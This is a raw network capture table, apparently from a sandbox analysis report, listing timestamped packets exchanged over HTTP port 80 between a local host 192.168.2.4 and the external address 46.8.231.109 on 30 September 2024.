Sep 30, 2024 12:22:51.465461016 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.465472937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.465492964 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.465509892 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.465512991 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.465523005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.465550900 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.465562105 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.474128962 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474148035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474157095 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474184990 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.474203110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.474225998 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474236012 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474248886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474255085 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.474260092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474291086 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.474313974 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.474328041 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.474366903 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.482738018 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482841969 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.482853889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482863903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482878923 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482888937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482896090 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.482901096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482909918 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.482912064 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482932091 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.482938051 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.482954979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.482986927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483016014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483059883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483076096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483087063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483114004 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483144045 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483155012 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483165026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483186007 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483201981 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483323097 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483377934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483393908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483411074 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483442068 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483448982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483458996 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483469963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483488083 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483514071 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483535051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483546019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483556986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483576059 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483599901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483778954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483788967 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483799934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483825922 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483831882 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483850002 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483875990 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483927011 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.483962059 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.483993053 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484004021 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484031916 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484096050 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484107971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484117985 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484129906 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484138012 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484149933 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484179020 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484210014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484220982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484231949 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484242916 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484253883 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484256983 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484282017 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484291077 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484348059 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484364986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484375954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484394073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484420061 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.484663010 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.484702110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.492742062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492754936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492765903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492784977 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.492796898 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.492858887 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492870092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492880106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492891073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492892981 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.492902040 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.492918015 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.492944002 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.492985010 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493000031 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493016005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493026018 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493038893 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493041039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493052006 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493072033 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493139029 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493149042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493171930 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493189096 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493295908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493313074 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493324041 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493344069 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493369102 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493398905 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493410110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493419886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493438005 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493463039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493597984 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493609905 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493619919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493640900 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493663073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493680000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493690968 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493702888 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493720055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493721962 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493742943 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493767977 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493918896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493928909 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493940115 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.493968964 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.493978024 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494015932 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494026899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494036913 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494046926 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494052887 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494071960 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494105101 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494174004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494185925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494195938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494206905 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494213104 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494216919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494227886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494237900 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494240999 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494255066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494273901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494600058 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494611025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494623899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494637966 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494658947 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494658947 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494668961 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494679928 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494698048 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494719982 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.494719982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.494831085 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.555731058 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555756092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555768013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555774927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.555799961 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.555836916 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555849075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555859089 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555872917 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555881023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.555896997 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.555927992 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.555929899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555942059 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.555977106 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.556015015 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.556026936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.556037903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.556056023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.556073904 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.556085110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.556117058 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.556126118 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.556159973 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.564778090 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.564795971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.564806938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.564841986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.564867973 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.564893961 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.564905882 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.564918041 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.564928055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.564941883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.564970016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573436975 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573448896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573458910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573470116 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573487043 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573493958 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573503017 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573514938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573524952 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573524952 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573535919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573542118 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573560953 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573585987 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573607922 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573648930 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573648930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573659897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573684931 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573695898 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573718071 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573753119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573767900 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573779106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573807001 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573824883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573870897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573906898 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.573940039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573951006 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.573987961 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574024916 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574035883 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574048042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574059010 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574067116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574100971 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574148893 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574160099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574199915 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574326038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574361086 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574364901 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574376106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574409008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574465990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574476004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574486971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574498892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574505091 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574523926 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574546099 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574582100 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574593067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574605942 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574615955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574616909 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574635983 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574659109 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574923038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574934006 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574944973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.574964046 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.574992895 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.575001001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.575011015 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.575021982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.575033903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.575041056 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.575068951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583339930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583357096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583369017 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583378077 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583379030 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583395004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583400011 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583406925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583421946 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583431005 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583431959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583446980 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583465099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583477020 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583482027 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583493948 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583529949 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583589077 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583599091 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583610058 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583621025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583627939 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583650112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583657980 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583661079 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583687067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583694935 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583697081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583708048 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.583720922 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.583748102 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584084988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584095001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584106922 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584115982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584124088 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584139109 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584163904 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584182978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584220886 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584222078 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584233046 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584260941 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584263086 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584270954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584283113 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584290981 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584319115 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584496021 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584506989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584518909 CEST	80	52540	46.8.231.109	192.168.2.4
